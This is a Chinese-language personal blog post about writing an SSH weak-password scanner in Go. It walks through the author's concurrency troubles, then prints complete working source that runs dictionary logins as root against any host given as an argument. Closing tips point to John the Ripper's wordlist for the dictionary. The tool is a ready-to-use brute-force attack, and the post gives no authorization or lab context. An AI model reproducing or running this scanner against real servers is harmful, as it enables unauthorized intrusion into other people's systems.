0x00
尝试渗透的过程中,萌生了一点自己也写一点代码,不要老用别人的工具的念头。于是当这次我突发奇想要ssh弱口令扫描的时候,毫不犹豫就直接上手了。
0x01
扫描这种东西,单线程是对你计算机性能的侮辱。我上手就排除了C/C++这两个多线程写起来不怎么安逸的语言,直接选择了python。开头写着还很顺畅,等到真的运行起来时,我却发现了一个严重的问题:为什么Ctrl-C没有用?查了一通,balabala一大堆,总之是,python子线程跑时主线程被阻塞,所以sigINT也被阻塞,收不到信号的线程就毫不犹豫一直跑了下去。
倒也不是没有解决方案,只是我觉得这个设定实在是太傻太反人类了。我的思路便转向了一门源生支持并发的C系语言:go
0x10
不得不说由于对go并不是很熟悉,我在完成这短短几十行代码的过程中还是遇到了相当多的麻烦。
首先是对于go的ssh包的使用:godoc里面不知为何所有的代码都没有加上包名,我一时脑残也没意识到这里有问题,居然就不带包名这么往上写了。于是编译时一方面提示ssh包没用到,一方面提示Dial等几个标识符未定义……不过这个只能算是一时之失。
第二个错误就比较难看了,写python并发时子线程并不会随主线程结束而结束。到了go这里就不是这么一回事了。我倒不是没有想到这个问题,然而采取的解决方案很愚蠢……我使用了无限for循环妄图达到阻塞的效果。事实证明这不可能。
其三嘛,倒不是错误了。写python时线程间同步我通过锁来完成,在这个问题上go的表现实在是优雅而高端。channel同时起到了协程间通信和阻塞的功能,简单的代码就完成了这个功能。
其四,我为如何在所有goroutine跑完之后输出结束提示而困扰。一开始我在ReadPassword函数返回时输出,然而它返回时事实上还有些goroutine没跑完,于是乎就会额外输出一些,特别难看。后来我找到了sync包里的同步原语,解决了这个问题。
package main
import "code.google.com/p/go.crypto/ssh"
import "fmt"
import "bufio"
import "os"
import "strings"
import "sync"
var channal = make(chan string)
var w sync.WaitGroup
func readPassword(pf *bufio.Reader){
for{
password,err := pf.ReadString('\n')
if err!=nil {
close(channal)
//print("scan finished,result not found\n")
return
}
password = strings.TrimRight(password,"\n")
channal <- password
}
}
func ssh_login(hostname string,username string) {
for{
password,more:= <-channal
if !more{
w.Done()
return
}
config := &ssh.ClientConfig{
User: username,Auth: []ssh.AuthMethod{
ssh.Password(password),},}
_,err := ssh.Dial("tcp",hostname,config)
if err != nil {
fmt.Printf("\033[33m[-]testing passowrd %s\tresult:Wrong\n\033[0m",password)
} else{
fmt.Printf("\033[32m[-]found password %s for root\n\033[0m",password)
return
}
}
}
func main(){
if len(os.Args)<2 {
fmt.Printf("[-]Usage %s [hostname:port]\n",os.Args[0])
os.Exit(1)
}
hostname := os.Args[1]
pf,err := os.Open("password.lst")
if err!=nil {
fmt.Println("[-]Dictionary needed")
os.Exit(1)
}
bf := bufio.NewReader(pf)
defer pf.Close()
go readPassword(bf)
fmt.Println("Scanning start!")
for i:=1;i<20;i++ {
w.Add(1)
go ssh_login(hostname,"root")
}
w.Wait()
print("scan finished,result not found\n")
//var input string
//fmt.Scanln(&input)
}
对go的熟悉程度谈不上高,所以代码肯定还有很多可以优化的地方。不过已经能完成基本的扫描弱口令的功能了。
PS1.需要使用弱口令字典,我使用的是john the ripper里自带的字典。
PS2.ssh包需要自行安装,go get + 包名

